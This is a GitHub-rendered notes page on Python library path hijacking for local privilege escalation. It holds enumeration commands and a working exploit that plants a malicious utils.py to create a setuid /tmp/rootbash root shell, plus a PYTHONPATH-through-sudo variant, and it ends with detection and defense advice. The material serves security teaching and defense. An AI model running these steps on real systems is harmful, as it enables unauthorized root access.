Skip to content

Latest commit

 

History

History
53 lines (39 loc) · 2.69 KB

File metadata and controls

53 lines (39 loc) · 2.69 KB

Python Library Path Hijacking

If a root-run Python script imports a module from a directory you can write to — because a site-packages path is world-writable, PYTHONPATH is inherited, or the script's own directory is writable — you can drop a malicious module of that name and have your code execute as root on the next run. Python (and Perl via PERL5LIB, Ruby via RUBYLIB) resolves imports along a search path; a writable entry earlier in that path lets you shadow a legitimate module. It is the interpreter analogue of LD_LIBRARY_PATH/.so hijacking and a common finding around cron-driven admin scripts.

Find the opportunity

# where does root's python import from, and is any of it writable?
python3 -c 'import sys; print("\n".join(sys.path))'
# world-writable entries on the module search path:
python3 -c 'import sys,os
for p in sys.path:
  if p and os.path.isdir(p) and os.access(p, os.W_OK): print("WRITABLE:", p)'

# is PYTHONPATH preserved through sudo? (env_keep)
sudo -l | grep -i pythonpath

Also check writable third-party packages and the directory of any root-run .py:

find / -writable -path '*/site-packages/*' -name '*.py' 2>/dev/null | head

Exploitation

If a root cron job runs /opt/admin/report.py which does import utils, and /opt/admin (or an earlier sys.path dir) is writable, plant utils.py:

cat > /opt/admin/utils.py <<'S'
import os
os.system('cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash')
S
# on the next root run:
/tmp/rootbash -p       # root shell

If PYTHONPATH survives sudo (via env_keep), point it at your own directory:

PYTHONPATH=/tmp/evil sudo /usr/bin/python3 /opt/admin/report.py

Detection and defenses

  • Detection: new .py modules in system paths, root Python importing from /tmp/home dirs, PYTHONPATH set for privileged processes.
  • Defenses: keep site-packages and script directories root-owned; strip PYTHONPATH/PERL5LIB from env_keep; run admin scripts with absolute, fixed import paths; use virtualenvs owned by root.

Related